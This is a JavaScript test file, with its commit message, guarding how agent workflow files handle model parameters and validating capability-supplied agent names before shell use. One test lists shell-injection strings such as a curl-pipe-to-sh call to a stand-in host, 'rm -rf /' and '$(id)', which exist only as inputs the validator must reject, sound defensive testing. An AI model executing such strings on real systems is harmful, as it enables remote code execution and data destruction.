Files
msd-core/tests/model-omit-when-inherit-guard.test.cjs
sim 7dd9e59f6b test(#3090): stop exempting violations under categories that do not fit
An allow-test-rule annotation citing a category that does not apply is worse
than no annotation, because it reads as reviewed. Eight were confirmed by
reading the assertions each one covered, and auditing the rest found five more
plus one refutation — a converter test whose wording described the wrong
mechanism while the covered assertion genuinely was deployed-text.

The instructive one used the CANONICAL string for the same mistake: STATE.md
command output labelled as a deployed artifact. A canonical string is not
evidence the category fits, which is why normalising strings alone would have
laundered the problem rather than fixed it. Every mapping the audit had inferred
rather than code-verified was spot-checked before rewriting, and the ones that
turned out not to fit were re-annotated rather than relabelled.

Fourteen STATE.md assertions had a typed extractor available all along and now
use it; their annotations came out because nothing needs exempting. Eight
assertions genuinely need a production change first — CLI stdout and stderr with
no structured mode — and are tagged pending-migration-to-typed-ir citing #3090,
which is what that category is for. It had zero real uses before this, while one
file carried a real citation to migration issue #2974 under a non-canonical tag.

Six annotations covered assertions that do no text matching at all. An exemption
for a violation that does not exist is noise that makes the real ones harder to
audit; those are removed.

atomic-write-coverage gains the annotation it always warranted — its own
docstring describes a structural-regression-guard while the file carried none.

Fifty-nine non-canonical strings across roughly thirty files are normalised, and
the allow-test-rule allowlist is regenerated to match. 472 annotations became
463: every one now uses a canonical category, and the two remaining
non-canonical strings are ESLint RuleTester fixtures, not annotations.

Refs #3057

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
2026-08-05 17:20:56 -04:00

417 lines
18 KiB
JavaScript

// allow-test-rule: structural-regression-guard see #2517
// allow-test-rule: source-text-is-the-product see #2684
// Guards the omit-when-inherit fix: workflow orchestrators must instruct the agent to
// OMIT the model= param from Agent() calls when the *_model var is "inherit" or empty.
// Without it, model="" is passed verbatim and 404s on non-Claude runtimes
// (resolve_model_ids:"omit" + model_profile:"inherit" -> empty model string).
// execute-phase had the fix; plan-phase was missing it (#2517); scan/ship dispatched with
// a placeholder their own init payload never emits at all (#2684).
'use strict';
const { test } = require('node:test');
const assert = require('node:assert/strict');
const fs = require('node:fs');
const path = require('node:path');
const fc = require('./helpers/fast-check-setup.cjs');
const { runGsdTools, createTempProject, cleanup, readWorkflowCombined } = require('./helpers.cjs');
const ROOT = path.resolve(__dirname, '..');
const WORKFLOWS = path.join(ROOT, 'gsd-core', 'workflows');
/**
* Does this body state the omit rule? The rule is "omit the model= param when the
* bound *_model is inherit/empty", so require `omit` adjacent to `model=` AND the
* word `inherit`. Deliberately a PROPERTY check, not a fixed template string:
* plan-phase.md and execute-phase.md each state it in their own wording and both
* are correct.
*/
const OMIT_RULE_MARKER = "<!-- #2517 model-omit-on-inherit -->";
function statesOmitRule(content) {
// Canonical form: the marker block, which links the rule's single source of truth.
// Preferred for new files because it is unambiguous and greppable, and because it
// carries no literal `model=` token — the installed Hermes copy of a workflow is
// asserted to contain none outside string literals (delegate_task has no per-call
// model parameter at all), so the older phrasing cannot be used everywhere.
if (content.includes(OMIT_RULE_MARKER)) return true;
// Legacy form: the rule stated inline in the file's own words. All four files that
// predate the marker (plan-phase, execute-phase, scan, ship) match this branch, and
// rewriting them to a template would churn correct files for no behavioral gain.
const omitNearModel = /omit[\s\S]{0,200}model=|model=[\s\S]{0,200}omit/i.test(content);
return omitNearModel && /inherit/i.test(content);
}
/**
* #2711 — the guarded set is DERIVED from the corpus: every workflow that emits a
* `model="{…}"` dispatch site must carry the rule.
*
* This replaces a hand-maintained array. That array was a Goodhart metric — it
* reported green across 15 non-compliant files for no better reason than that
* nobody had added them to it. Deriving the set is what makes a 16th file
* impossible to add silently.
*
* #2994: `content` is read via `readWorkflowCombined` (host + its
* `workflows/<wf>/steps/*.md` fragments), not the bare host file. The
* fragment model can move a workflow's own omit-rule prose (e.g.
* quick.md's rule lives in `quick/steps/research-phase.md` behind a
* `<!-- gsd:section -->` stub) out of the host without moving its
* `model="{…}"` dispatch site, so a host-only read would report a
* false positive for a workflow that still documents the rule.
*/
function workflowsThatDispatchWithAModel() {
return fs
.readdirSync(WORKFLOWS)
.filter((f) => f.endsWith('.md'))
.map((f) => ({ file: f, content: readWorkflowCombined(path.join(WORKFLOWS, f)) }))
.filter((w) => /model="\{/.test(w.content));
}
test('#2517: every workflow that dispatches model= documents omitting it on inherit/empty', () => {
const dispatching = workflowsThatDispatchWithAModel();
// Non-vacuity: an empty or truncated derivation is not a passing guard.
assert.ok(
dispatching.length >= 19,
`expected >=19 model=-dispatching workflows, derived ${dispatching.length} — ` +
'the derivation itself is broken, so this guard proves nothing.',
);
// Report ALL offenders in one message rather than stopping at the first, so a
// sweep can be completed in a single pass.
const missing = dispatching.filter((w) => !statesOmitRule(w.content)).map((w) => w.file);
assert.deepEqual(
missing,
[],
`these workflows dispatch model="{…}" but never tell the orchestrator to OMIT the ` +
`model= param when the bound *_model is "inherit" or empty (#2517/#2711):\n ` +
`${missing.join('\n ')}\n` +
'Without the rule, model="" is passed verbatim and 404s on every runtime lacking ' +
'native tier aliases — which is the DEFAULT state on non-Claude runtimes, where ' +
'the installer writes resolve_model_ids:"omit". See ' +
'gsd-core/references/model-profile-resolution.md.',
);
});
test('#2711: the guarded set is derived from dispatch sites, not hand-maintained', () => {
const derived = workflowsThatDispatchWithAModel().map((w) => w.file);
// limit: a workflow with exactly one dispatch site is still guarded.
assert.ok(derived.includes('audit-milestone.md'), 'a single-site workflow must be derived in');
// limit+1: a many-site workflow appears once, not once per site.
assert.equal(
derived.filter((f) => f === 'docs-update.md').length,
1,
'a workflow with 10 dispatch sites must be derived exactly once',
);
// limit-1: a workflow that never emits model= must NOT be dragged in.
const nonDispatching = fs
.readdirSync(WORKFLOWS)
.filter((f) => f.endsWith('.md') && !/model="\{/.test(fs.readFileSync(path.join(WORKFLOWS, f), 'utf8')));
assert.ok(nonDispatching.length > 0, 'expected some workflows to dispatch no model= at all');
for (const f of nonDispatching) {
assert.ok(!derived.includes(f), `${f} emits no model= and must not be required to carry the rule`);
}
});
test('#2711: detects a dispatching workflow that lacks the rule', () => {
const site = 'Agent(subagent_type="gsd-planner", model="{planner_model}")';
assert.equal(statesOmitRule(`# doc\n${site}\n`), false, 'a bare dispatch site must be reported');
// plan-phase.md's own wording — the guard checks the property, not a template.
const planPhaseWording =
'**#2517:** omit the `model=` param from an `Agent()` call when its ' +
'`researcher`/`planner`/`checker`_model is `"inherit"` or empty.';
assert.equal(statesOmitRule(`# doc\n${planPhaseWording}\n${site}\n`), true);
// execute-phase.md's differently-worded copy must also satisfy it.
const executePhaseWording =
'**Model resolution:** If `executor_model` is `"inherit"`, omit the `model=` ' +
'parameter from all `Agent()` calls.';
assert.equal(statesOmitRule(`# doc\n${executePhaseWording}\n${site}\n`), true);
// "omit" alone, with no mention of inherit, is not the rule.
assert.equal(statesOmitRule(`# doc\nomit the \`model=\` param sometimes.\n${site}\n`), false);
});
test('#2711: rule detection is CRLF-safe', () => {
const body = [
'# doc',
'**#2517:** omit the `model=` param when the bound `planner_model` is `"inherit"` or empty.',
'Agent(subagent_type="gsd-planner", model="{planner_model}")',
'',
];
assert.equal(statesOmitRule(body.join('\n')), true);
assert.equal(
statesOmitRule(body.join('\r\n')),
statesOmitRule(body.join('\n')),
'CRLF input must yield the same verdict as LF (recurring class: #1658/#1668/#2206/#2449/#2450)',
);
});
// ---------------------------------------------------------------------------
// #2684 — placeholder binding.
//
// A dispatch site may only substitute a field its OWN workflow binds. Three
// binding sources, any one sufficient:
// (a) a shell assignment in the same file: NAME=$(gsd_run query resolve-model …)
// (b) a key actually emitted by an init surface the file queries (invoked for real)
// (c) the file's declared parse list ("Parse JSON for:" / "Extract from init JSON:")
// ---------------------------------------------------------------------------
/** All `model="{X}"` placeholder names in a workflow body. */
function extractModelPlaceholders(content) {
return [...content.matchAll(/model="\{([A-Za-z0-9_]+)\}"/g)].map((m) => m[1]);
}
/** `NAME=$(...)` shell assignments. `^`/`$` under /m are CRLF-safe; \s absorbs the \r. */
function shellAssignedNames(content) {
return new Set([...content.matchAll(/^[ \t]*([A-Za-z0-9_]+)=\$\(/gm)].map((m) => m[1]));
}
/** Init surfaces the file queries: both `init.<name>` and the `<name>-init` spelling. */
function queriedInitSurfaces(content) {
const dotted = [...content.matchAll(/query\s+(init\.[a-z0-9-]+)/g)].map((m) => m[1]);
const suffixed = [...content.matchAll(/query\s+([a-z0-9-]+-init)\b/g)].map((m) => m[1]);
return [...new Set([...dotted, ...suffixed])];
}
/** Names listed on a declared parse line. */
function declaredParseNames(content) {
const names = new Set();
const lines = /^.*(?:Parse JSON for|Parse from init JSON|Extract from init JSON).*$/gim;
for (const line of content.match(lines) || []) {
for (const m of line.matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(m[1]);
}
// Multi-line declarations render the fields as a bullet list under the heading.
const bulleted = content.matchAll(
/(?:Parse JSON for|Parse from init JSON|Extract from init JSON)[^\n]*\n((?:[ \t]*[-*][^\n]*\n)+)/gi,
);
for (const m of bulleted) {
for (const b of m[1].matchAll(/`([A-Za-z0-9_]+)`/g)) names.add(b[1]);
}
return names;
}
const _initKeyCache = new Map();
/** Real payload keys for an init surface, or null when it needs args we cannot supply. */
function initPayloadKeys(surface) {
if (_initKeyCache.has(surface)) return _initKeyCache.get(surface);
let keys = null;
const res = runGsdTools(['query', surface], ROOT);
if (res.success) {
try {
keys = new Set(Object.keys(JSON.parse(res.output)));
} catch {
keys = null; // non-JSON payload — inconclusive, not proof of absence.
}
}
// A null here means the surface needs an argument we cannot supply (e.g. a
// phase number). Inconclusive, NOT proof the field is absent — the caller
// still has the declared-parse-list and shell-assignment binding sources.
_initKeyCache.set(surface, keys);
return keys;
}
/** Unbound `model="{X}"` names in one workflow body. */
function unboundModelPlaceholders(content, resolveInit = initPayloadKeys) {
const placeholders = new Set(extractModelPlaceholders(content));
if (placeholders.size === 0) return [];
const bound = new Set([...shellAssignedNames(content), ...declaredParseNames(content)]);
for (const surface of queriedInitSurfaces(content)) {
const keys = resolveInit(surface);
if (keys) for (const k of keys) bound.add(k);
}
return [...placeholders].filter((p) => !bound.has(p));
}
test('#2684: every model="{…}" placeholder resolves to a field its own workflow binds', () => {
const files = fs.readdirSync(WORKFLOWS).filter((f) => f.endsWith('.md'));
const findings = [];
let scanned = 0;
let placeholders = 0;
for (const file of files) {
const content = fs.readFileSync(path.join(WORKFLOWS, file), 'utf8');
const found = extractModelPlaceholders(content);
if (found.length === 0) continue;
scanned += 1;
placeholders += found.length;
for (const name of unboundModelPlaceholders(content)) {
findings.push(`${file}: model="{${name}}" — no init payload key, shell assignment, or ` +
`declared parse field of that name. The substitution has no source, so the ` +
`orchestrator invents a value (#2684, ADR-1411).`);
}
}
// Non-vacuity: a glob that silently stops matching must fail, not pass.
assert.ok(scanned >= 10, `expected to scan >=10 dispatching workflows, scanned ${scanned}`);
assert.ok(placeholders >= 20, `expected >=20 model= placeholders, found ${placeholders}`);
assert.deepEqual(findings, [], `unbound model= placeholders:\n ${findings.join('\n ')}`);
});
test('#2684: detects an unbound placeholder in a synthetic workflow', () => {
const noInit = () => null;
// limit-1 — zero placeholders.
assert.deepEqual(unboundModelPlaceholders('# doc\nno dispatch here\n', noInit), []);
// limit — exactly one, unbound.
const one = '# doc\nAgent(subagent_type="x", model="{ghost_model}")\n';
assert.deepEqual(unboundModelPlaceholders(one, noInit), ['ghost_model']);
// limit+1 — two unbound alongside one bound; only the unbound are reported.
const many = [
'# doc',
'REAL_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
'Agent(subagent_type="a", model="{REAL_MODEL}")',
'Agent(subagent_type="b", model="{ghost_one}")',
'Agent(subagent_type="c", model="{ghost_two}")',
'',
].join('\n');
assert.deepEqual(unboundModelPlaceholders(many, noInit), ['ghost_one', 'ghost_two']);
});
test('#2684: binding detection is CRLF-safe', () => {
const noInit = () => null;
const body = [
'# doc',
'BOUND_MODEL=$(gsd_run query resolve-model gsd-planner --raw)',
'Parse JSON for: `declared_model`.',
'Agent(subagent_type="a", model="{BOUND_MODEL}")',
'Agent(subagent_type="b", model="{declared_model}")',
'Agent(subagent_type="c", model="{ghost_model}")',
'',
];
const lf = body.join('\n');
const crlf = body.join('\r\n');
assert.deepEqual(unboundModelPlaceholders(lf, noInit), ['ghost_model']);
assert.deepEqual(
unboundModelPlaceholders(crlf, noInit),
unboundModelPlaceholders(lf, noInit),
'CRLF input must yield the same findings as LF — a hardcoded \\n strands the \\r ' +
'and turns a bound name unbound (recurring class: #1658/#1668/#2206/#2449/#2450).',
);
});
test('#2684: placeholder extraction round-trips (property)', () => {
const ident = fc.stringMatching(/^[A-Za-z_][A-Za-z0-9_]{0,20}$/);
fc.assert(
fc.property(fc.array(ident, { minLength: 1, maxLength: 12 }), (names) => {
const rendered = names.map((n) => `Agent(subagent_type="x", model="{${n}}")`).join('\n');
assert.deepEqual(extractModelPlaceholders(rendered), names);
}),
{ numRuns: 200 },
);
});
test('#2684: the model-profile reference does not instruct emitting an inherit/empty model=', () => {
const rel = 'gsd-core/references/model-profile-resolution.md';
const content = fs.readFileSync(path.join(ROOT, rel), 'utf8');
assert.ok(
!/model="inherit"/.test(content),
`${rel}: must not instruct passing model="inherit" — #2517 established that an ` +
`inherit/empty model 404s on non-Claude runtimes and must be OMITTED instead. ` +
`This shipped reference is copied into workflows verbatim.`,
);
assert.ok(
!/model="\{resolved_model\}"/.test(content),
`${rel}: must not ship a copy-pasteable model="{resolved_model}" — no init payload ` +
`emits that field, and this snippet is exactly what scan.md inherited (#2684).`,
);
assert.ok(
/omit/i.test(content),
`${rel}: must state the #2517 omit-on-inherit/empty rule, since it is the document ` +
`workflow authors copy their dispatch block from.`,
);
});
test('#2684: ship.md validates capability-supplied ref.agent before it reaches a shell', () => {
const content = fs.readFileSync(path.join(WORKFLOWS, 'ship.md'), 'utf8');
// `ref.agent` comes from a capability manifest, which may be third-party. The
// #2684 fix is the first place that value reaches a shell command, so the
// workflow must constrain its shape BEFORE substituting it.
//
// The check must be performed in-context, not in the shell: the orchestrator
// substitutes the raw value textually, so a shell-side test would run only
// AFTER a payload like `x"; id; echo "` had already closed the assignment and
// executed. Assert the workflow states the in-context ordering explicitly.
const gate = /`(\^\[A-Za-z0-9\]\[[^`]*\]\*\$)`/.exec(content);
assert.ok(
gate,
'ship.md must publish the shape `ref.agent` has to match before it is used ' +
'— a capability manifest is not trusted input.',
);
assert.match(
content,
/IN-CONTEXT, before any shell use/i,
'ship.md must require the ref.agent check to run in-context BEFORE any shell ' +
'use. A shell-side check runs after the injection point and protects nothing.',
);
assert.doesNotMatch(
content,
/HOOK_AGENT="/,
'ship.md must not assign the raw ref.agent value into a shell variable — that ' +
'assignment IS the injection point (#2684 isolated review).',
);
const shape = new RegExp(gate[1]);
// Legitimate agent names the capability system actually dispatches.
for (const ok of ['gsd-mempalace-curator', 'gsd-code-reviewer', 'my.agent_v2', 'a']) {
assert.ok(shape.test(ok), `validation gate must accept the real agent name ${ok}`);
}
// Shell-injection shapes a hostile or corrupted manifest could supply. Each
// must be rejected, so the hook is skipped rather than executed.
const hostile = [
'x"; curl http://evil.example/p | sh; #',
'x$(id)',
'x`id`',
'x; rm -rf /',
'x && whoami',
'x | tee /etc/passwd',
'x\nrm -rf /',
'$IFS',
'../../etc/passwd',
'',
];
for (const bad of hostile) {
assert.equal(
shape.test(bad),
false,
`validation gate must REJECT ${JSON.stringify(bad)} — it would otherwise be ` +
'interpolated into a shell command built from a capability manifest.',
);
}
});
test('#2684: an unknown agent type resolves to an empty model, so dispatch must omit', () => {
// Hermetic: a throwaway project whose config explicitly sets resolve_model_ids:"omit".
// ship.md dispatches `ref.agent` — an arbitrary capability-supplied agent name that need
// not be in MODEL_PROFILES. This pins that such a name resolves to the EMPTY string, so
// the consumer must omit `model=` rather than emit `model=""` (the #2517 404).
const dir = createTempProject('gsd-2684-');
try {
fs.writeFileSync(
path.join(dir, '.planning', 'config.json'),
JSON.stringify({ model_profile: 'balanced', resolve_model_ids: 'omit', runtime: 'claude' }),
);
const res = runGsdTools(['query', 'resolve-model', 'not-a-real-agent'], dir);
assert.ok(res.success, `resolve-model failed (exit ${res.exitCode}): ${res.error}`);
const parsed = JSON.parse(res.output);
assert.equal(parsed.unknown_agent, true, 'an agent absent from MODEL_PROFILES must be flagged');
assert.equal(
parsed.model,
'',
'an unknown agent under resolve_model_ids:"omit" must resolve to the EMPTY string — ' +
'the resolver is correct to refuse to invent a tier, which is precisely why the ' +
'ship.md dispatch has to omit model= instead of substituting (#2684 / #2517).',
);
} finally {
cleanup(dir);
}
});